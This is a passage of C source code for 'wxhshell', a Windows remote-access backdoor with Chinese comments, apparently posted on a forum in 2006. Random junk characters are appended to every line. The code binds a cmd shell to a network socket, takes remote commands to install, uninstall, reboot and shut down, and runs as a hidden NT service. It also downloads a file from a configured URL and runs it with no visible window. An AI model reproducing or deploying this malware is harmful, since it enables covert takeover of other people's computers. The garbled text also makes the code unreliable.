  else { GM@TWwG-B  
 R,y8~D  
    switch(cmd[0]) { SBYRN##n_  
  /R^!~J50  
  // 帮助 bi,%QZZ  
  case '?': { uH]^/'8vBd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z`TI<B  
    break; GA;E (a  
  } |ejrE,~1vb  
  // 安装 Uz1u6BF  
  case 'i': { 1Ce:<.99B  
    if(Install()) i~\gEMaO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M>0~Ek%3  
    else S46[2-v1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @w2}WX>  
    break; U;;Har   
    } Qi[T!1  
  // 卸载 .%*.nq  
  case 'r': { C@KYg/nYw  
    if(Uninstall()) 4E"qpy \(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t);5Cw _  
    else d/7 c#er  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $bMeL7CN  
    break; 5m_@s?P[  
    } oE5+   
  // 显示 wxhshell 所在路径 +[*UC"  
  case 'p': { }p "HD R>  
    char svExeFile[MAX_PATH]; h; {?z  
    strcpy(svExeFile,"\n\r"); R/P.m~?  
      strcat(svExeFile,ExeFile); (spX3n%p  
        send(wsh,svExeFile,strlen(svExeFile),0); XLM 9+L  
    break; S:DB%V3  
    } 0`OqD d  
  // 重启 ytJ |jgp'  
  case 'b': { ==IL63  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =lVfrna  
    if(Boot(REBOOT)) b cOX/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X5)>yM^N`  
    else { OY?uqP}c  
    closesocket(wsh); @ cv`}k  
    ExitThread(0); RPLr7Lb  
    } !&#CEF@J  
    break; xv1$,|^ts  
    } $'e.bh  
  // 关机 `5x,N%9{  
  case 'd': { -'ZP_$sA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |QHWX^pO  
    if(Boot(SHUTDOWN)) % 3FI>\3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3Pl]S~6!  
    else { /wIZ '  
    closesocket(wsh); 2b!b-  
    ExitThread(0); ZW,PZ<  
    } z?V> ST  
    break; 4N*^%  
    } D:){T>  
  // 获取shell HLk/C[`u,  
  case 's': { #Xsby  
    CmdShell(wsh); dU+1@_  
    closesocket(wsh); ,(lD5iN  
    ExitThread(0); bXtA4O  
    break; K)^.96{/@  
  } H#6J7\xcS  
  // 退出 !n !~Bw  
  case 'x': { smk0*m4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ot v{#bB$  
    CloseIt(wsh); 4;%=ohD:!  
    break; ))eR  
    } -[+FVvS  
  // 离开 aIkxN&  
  case 'q': { p%j@2U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xXLKL6F(\  
    closesocket(wsh); $BNn1C8[  
    WSACleanup(); bZa?h.IF  
    exit(1); ]jM D'vg^b  
    break; 'zRd?Z>%  
        } w}7`Vas9  
  } r Cmqq/hZ  
  } .o fYFK  
>2N` l  
  // 提示信息 <$ '#@jW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b}[{'  
} F7=a|g  
  } mB_ba1r  
t$s)S>  
  return; Rk`c'WP0*  
} GfVMj7{  
{K:/(\  
// shell模块句柄 |"l g4S%  
int CmdShell(SOCKET sock) hX YVi6(k  
{ I8?egDkk  
STARTUPINFO si; 6:QJ@j\  
ZeroMemory(&si,sizeof(si)); en#W<"_"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; & yw-y4 =  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =axi0q?}  
PROCESS_INFORMATION ProcessInfo; S0kH/A  
char cmdline[]="cmd"; [_b10Z'{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,![C8il,  
  return 0; JB* *z00;  
} y:pypuwt;  
'O2{0  
// 自身启动模式 ,P5HR+h  
int StartFromService(void) yUBic~S  
{ <sd Qvlx$-  
typedef struct XMuZ 'I  
{ ~l.]3wyk  
  DWORD ExitStatus; 9/^4W.  
  DWORD PebBaseAddress; Ip?Ueaei  
  DWORD AffinityMask; _3ZZ-=J:=*  
  DWORD BasePriority; 'L=g(  
  ULONG UniqueProcessId; Qg1LT8  
  ULONG InheritedFromUniqueProcessId; 2R.YHj  
}   PROCESS_BASIC_INFORMATION; :qw:)i  
#16)7  
PROCNTQSIP NtQueryInformationProcess; vE{QN<6T  
%lEPFp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4oCn F+(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x4fLe5xv  
NcqE)"yObo  
  HANDLE             hProcess;  vUJb-  
  PROCESS_BASIC_INFORMATION pbi; {:fyz#>>^  
bQ_i&t\yzB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fa@#nY|UV3  
  if(NULL == hInst ) return 0; G=\rlH]N  
DlTV1X-^1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gM_Z/$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qb9) 1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vzs6YsA  
SyTcp?H  
  if (!NtQueryInformationProcess) return 0; r+\it&cW+  
$eI[3{}X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H2rh$2  
  if(!hProcess) return 0; "xYMv"X  
;`@DQvVZ:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W@/D2K(  
:B)w0tVw  
  CloseHandle(hProcess); <XGOcekG  
i_f"?X;D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >>K) 4HYID  
if(hProcess==NULL) return 0; u V=rLDY  
D[yaAG<  
HMODULE hMod; W9.Z hpM  
char procName[255]; kU4Zij-O  
unsigned long cbNeeded; ;Mw9}Reh@  
'[:].?M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {.eC"  
V?%>Ex$  
  CloseHandle(hProcess); "RZ)pav?  
J:p nmZ`X  
if(strstr(procName,"services")) return 1; // 以服务启动 -N*g|1rpa  
>q4nQ/eP  
  return 0; // 注册表启动 CuU"s)  
} ^#XxqVdPk  
'$l*FWOEal  
// 主模块 21G] d  
int StartWxhshell(LPSTR lpCmdLine) W:hR8 1ci  
{ nM\W a  
  SOCKET wsl; Q8T4_p [-o  
BOOL val=TRUE; TY~0UU$  
  int port=0; a]$KI$)e  
  struct sockaddr_in door; T%- F,i  
et/mfzV  
  if(wscfg.ws_autoins) Install(); CSwNsFDR%  
m6aoh^I  
port=atoi(lpCmdLine); SO8Ej)m  
Po93&qE  
if(port<=0) port=wscfg.ws_port; EtN"K-X  
o]PSyVg  
  WSADATA data; v]Pw]m5=U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }evc]?1(  
+=U`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %[;<'s5e~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j@2-^q:`  
  door.sin_family = AF_INET; ukvz#hdE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *slZ17xg  
  door.sin_port = htons(port); bAt!9uFn  
u;1#eP\;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xgr|~(^  
closesocket(wsl); R# mZYg  
return 1; ^J\)cw  
} hq(3%- 7&  
V ;"?='vVe  
  if(listen(wsl,2) == INVALID_SOCKET) { !W n'Ae9  
closesocket(wsl); -&@[]/  
return 1; 29x "E$e  
} Q Gn4AW_  
  Wxhshell(wsl); q{n~s=  
  WSACleanup(); ojtcKw  
?AYI   
return 0;  ,Ad\!  
$aG]V-M>  
} Q]a5]:0  
vWjK[5 M%  
// 以NT服务方式启动 bbA+ZLZJn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ 4Hf?m7z  
{ a5]~%xdK  
DWORD   status = 0; *E+) mB"~  
  DWORD   specificError = 0xfffffff; CDoZv""  
UU$ +DL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; plb'EP>e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m S!/>.1[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +~8/7V22  
  serviceStatus.dwWin32ExitCode     = 0; :8yrtbf$  
  serviceStatus.dwServiceSpecificExitCode = 0; (:M6*RV  
  serviceStatus.dwCheckPoint       = 0; \ 1ys2BX  
  serviceStatus.dwWaitHint       = 0; At+on9&=  
KDg!Y(m{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vTU"c>]  
  if (hServiceStatusHandle==0) return; oPm1`x  
i|.!*/qF  
status = GetLastError(); S#2 'Jw  
  if (status!=NO_ERROR) B>YrDJUN  
{ VO. Y\8/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ya304Pjd  
    serviceStatus.dwCheckPoint       = 0; LPewoAXO  
    serviceStatus.dwWaitHint       = 0; .E[k}{k,  
    serviceStatus.dwWin32ExitCode     = status; ;2#HM^Mu  
    serviceStatus.dwServiceSpecificExitCode = specificError; ax'Dp{Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LTBqXh  
    return; 3_vggK%  
  } >(:KEA  
tul5:}x3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9bqfZ"6nXY  
  serviceStatus.dwCheckPoint       = 0; Zff-Hl  
  serviceStatus.dwWaitHint       = 0; ]V><gZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %6kD^K-  
} LOR$d^l  
^Q2K0'm5  
// 处理NT服务事件,比如:启动、停止 ?HZ+fS ,-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;)c SdA9  
{ ~A>3k2 N/e  
switch(fdwControl) >:KPvq!0  
{ 4'G<qJoc  
case SERVICE_CONTROL_STOP: Lr40rLx;u  
  serviceStatus.dwWin32ExitCode = 0; |Z#) 1K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3U1xKF  
  serviceStatus.dwCheckPoint   = 0; ^9qncvV  
  serviceStatus.dwWaitHint     = 0; ;l}TUo  
  { B@.U\.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [rE,fR   
  } TX*s T  
  return; z}u  
case SERVICE_CONTROL_PAUSE: c>=[|F{{e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4)Z78H%>  
  break; %w' @:~0  
case SERVICE_CONTROL_CONTINUE: ?%*Zgk!l7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {#Mz4s`M  
  break; 5x4(5c5^  
case SERVICE_CONTROL_INTERROGATE: 8%vk"h:u:  
  break; @i6D&e=  
}; .CwMxuW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vV8 y_  
} kmo3<'j{  
-L1{0{Z  
// 标准应用程序主函数 c_HYB/'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oAvL?2  
{ sE-"TNONZ  
{.Nt#l  
// 获取操作系统版本 y;sr# -L  
OsIsNt=GetOsVer(); 0'RSl~QvqS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4*F+-fu  
\u",bMQF  
  // 从命令行安装 IjJ3CJ<  
  if(strpbrk(lpCmdLine,"iI")) Install(); <@@.~Qm'  
83)2c a  
  // 下载执行文件 YujhpJ<  
if(wscfg.ws_downexe) { UO>p-M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %J2u+K  
  WinExec(wscfg.ws_filenam,SW_HIDE); YX@[z 5*  
} o`hF1*yp  
R &T(S  
if(!OsIsNt) { Q 4_j`q  
// 如果时win9x,隐藏进程并且设置为注册表启动 wArNWBM  
HideProc(); #{i\t E  
StartWxhshell(lpCmdLine); Tw-gM-m;  
} PlTY^N6Hn  
else OW1[Y-o[  
  if(StartFromService()) Bam7^g'*!3  
  // 以服务方式启动 hbxG  
  StartServiceCtrlDispatcher(DispatchTable); U*[/F)!  
else Be0P[v  
  // 普通方式启动 =,,!a/U  
  StartWxhshell(lpCmdLine); WAkKbqJV  
mA3C)V  
return 0; S%g` X   
}
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只看该作者 1 发表于: 2006-10-10
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